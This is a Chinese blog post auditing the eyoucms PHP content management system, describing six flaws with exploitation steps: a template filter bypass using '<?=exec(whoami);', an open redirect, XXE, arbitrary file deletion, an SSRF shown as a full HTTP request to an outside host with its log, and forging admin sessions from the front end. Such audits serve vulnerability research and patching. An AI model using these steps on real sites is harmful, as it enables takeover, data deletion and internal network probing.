PHP代码审计-eyoucms

技术百科 admin 发布时间:2024-03-26 浏览:50 次

环境搭建:

代码审计:

1.命令执行漏洞:

通过路由找到对应代码

这里需要传入三个参数,而最后的content则是我们需要填写的内容,在代码93行处存在过滤

发现对content的内容进行了限制。

if (preg_match(#<([^?]*)\?php#i, $content) || (preg_match(#<\?#i, $content) && preg_match(#\?>#i, $content)) || preg_match(#\{eyou\:php([^\}]*)\}#i, $content) || preg_match(#\{php([^\}]*)\}#i, $content)) {

return "模板里不允许有php语法,为了安全考虑,请通过FTP工具进行编辑上传。";

主要的目的是不让传带php标签的内容,大体规则如下。

1、内容中不能有 <?php

2、内容中不能同时有 <? 和 ?>

3、内容中不能有 {eyou:phpxxx

4、内容中不能有 {php xxx

这里我们可以通过 <?= 的形式进行绕过

漏洞复现:

在代码底部插入<?=exec(whoami);

2.任意URL跳转

在 user->Users.php->logout() 函数中存在一个可以传入的 referurl 参数,该参数通过input()函数的过滤后,传入到了 redirect() 函数中,我们跟进该函数:

通过这里的注释也可以发现这里是用于URL重定向的

漏洞复现:

在找到user目录下所有的功能点都在前台登录后,登录普通用户再进行退出。将重定向的地址设为baidu

3.XXE漏洞

搜索 simplexml_ load_ String() 函数,

在 application\home\controller\Index.php 中的 wechat_return() 函数中发现该危险函数,看该处传参是否经过该函数且该传参是否可以被我们控制或者绕过可以看到这里的106行代码会对 $InputXml 参数进行解析,那么我们向上去看

这里的 $InputXml 参数是通过 php://input 传入,而在代码的96行、98行存在限制条件,我们这里不能使代码走到99行或者102行,否则将我们执行下面的代码,也就无法造成xxe。那么我们需要这里的94行不为空且这里的 $pay_info[appid] 字段不为空且 $pay_info[appid] 的值在payload中就可以。

我们在搜索该appid时,发现了该处功能点是用于设置微信支付的。

找到了该功能点。

这里抓包验证也确实是该参数,只要这里的appid不为空,代码就会继续向下执行,进而执行simplexml_ load_ String() 函数,而且在上面的代码中php://input传入的内容也没有进行任何的过滤,所以我们可以构造xxe payload进行攻击尝试。

漏洞复现:

通过post方式传入构造好的xml payload就可以进行xxe注入。

去构造路由m=home,c=Index,a=wechat_return,然后通过post传入xml payload即可.

设置了 $pay_info[appid] 的值为1,在下面我们将1带入,但是我这里dnslog并没有回显,

4.任意文件删除

在搜索 unlink() 函数的时候发现一处删除漏洞,我们去看看该处的代码是如何去写的。可以看到在 del_local() 这个函数中使用了 unlink() 函数进行文件删除,但是代码的前三行是存在一定的过滤的,如果一直看我文章的小伙伴应该知道,这里的代码写的实在漏洞太多了,我们可以轻松绕过去删除文件。但这里却不能删除.php文件,具体大家可以看代码656行,在代码653行存在一定的判断条件,如何删除的文件中没有phar协议且必须要uploads路径,可以绕过。

漏洞复现:

通过上面的的路由分析我们去构造该路由

m=user,c=Uploadify,a=del_local,然后传入我们的参数filenames .

我们创建一个1.txt的测试文件

5.ssrf漏洞

saveRemote函数通过使用get_headers()函数易受SSRF攻击,

经过身份验证的用户可以通过Uploadify控制器进行攻击在/application/user/controller/Uploadify.php

在第 233 行,catchimage 案例发布用户可以控制的“源”参数,然后使用 $fieldName 参数 => saveRemote($config,[源参数的值]) 调用 saveRemote() 函数然后 saveRemote 私有函数会调用 get_headers() 函数来获取 http 主机的 header,get_headers() 函数获取服务器在响应 HTTP 请求时发送的所有标头

漏洞复现

###Request

POST /index.php?m=user&c=Uploadify&a=index&action=catchimage HTTP/1.1

Host: 172.16.0.12:3333

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=---------------------------182578234523129615573520929892

Content-Length: 276

Origin: http://172.16.0.12:3333

Connection: close

Referer: http://172.16.0.12:3333/index.php?m=user&c=Users&a=info

Cookie: PortalOpenEMR=BKEx0ZLJ9X41gReq-UHNt-aC0jHNPiQLUOf7FXckqCAumudg; OpenEMR=UwreHaTw9iqwJWXqAY3%2CWYkZgvA3wdVmymdC5QqiVC1H2scM; loader=loaded; admin_lang=cn; home_lang=cn; workspaceParam=welcome%7CIndex; referurl=%2Findex.php%3Fm%3Duser%26c%3DUsers%26a%3Dcentre; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; PHPSESSID=ptad0avmrpqg14oj4jh01a3hpm; users_id=2

-----------------------------182578234523129615573520929892

Content-Disposition: form-data; name="source[]"

Content-Type: image/png

http://hptcybersec.com/ssrf_PoC.jpg

-----------------------------182578234523129615573520929892--

### Response:

HTTP/1.1 200 OK

Date: Fri, 20 Aug 2021 17:25:37 GMT

Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.3.29

X-Powered-By: PHP/7.3.29

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: private

Pragma: no-cache

Set-Cookie: users_id=1; path=/

Content-Length: 576

Connection: close

Content-Type: text/html; charset=utf-8

{"state":"SUCCESS","list":[{"state":"SUCCESS","url":"/uploads/user/1/ueditor/20210821/611fe591da266.png","size":24041,"title":"611fe591da266.png","original":"123.jpg","source":"http://hptcybersec.com/123.jpg"}]}

### Accesslog on hptcybersec.com

[Fri Aug 20 13:20:25 2021] 172.16.0.12:54113 Accepted

[Fri Aug 20 13:20:25 2021] 172.16.0.12:54113 [404]: (null) /ssrf_PoC.jpg - No such file or directory

[Fri Aug 20 13:20:25 2021] 172.16.0.12:54113 Closing```

Impact: allow remote attackers to information detection,internal network server attack.

<font face="宋体">影响:允许远程攻击者进行信息检测、内网服务器攻击。</font>

6.前台设置管理员session

前台设置一个管理员的session

后台远程插件下载文件包含getshell。

application/api/controller/Ajax.php:219

get_token函数是可以前台随意调用的,另外形参中的$name变量也是通过http传递进来的。跟进token函数,如下图所示。

箭头处有一个设置session的操作,名字是可控的,而值是请求时间戳md5的值。

application/admin/controller/Base.php:61

这里涉及到了两个session,一个admin_login_expire,一个admin_id

admin_id(该session有就即可,不会验证其值)

admin_login_expire(该session会做减法的校验,需要满足一定条件)

而我们设置的session中是md5字符串,因此在设置admin_login_expire时,需要挑选一个前面是很长一段数字的md5,这样计算出来的结果就是负数,就满足该if条件了。

设置完这两个session后,我们继续看到if条件判断里还有一个check_priv函数,跟进查看:

漏洞复现:

这里就很简单了,继续设置一个admin_info.role_id。满足比较小于0即可。

设置完三个session后,就可以进后台了,如图所示:

REF:https://wx.zsxq.com/dweb2/index/topic_detail/814251825442152

在线咨询

点击这里给我发消息售前咨询专员

点击这里给我发消息售后服务专员

在线咨询

免费通话

24h咨询:400-888-8888


如您有问题,可以咨询我们的24H咨询电话!

免费通话

微信扫一扫

微信联系
返回顶部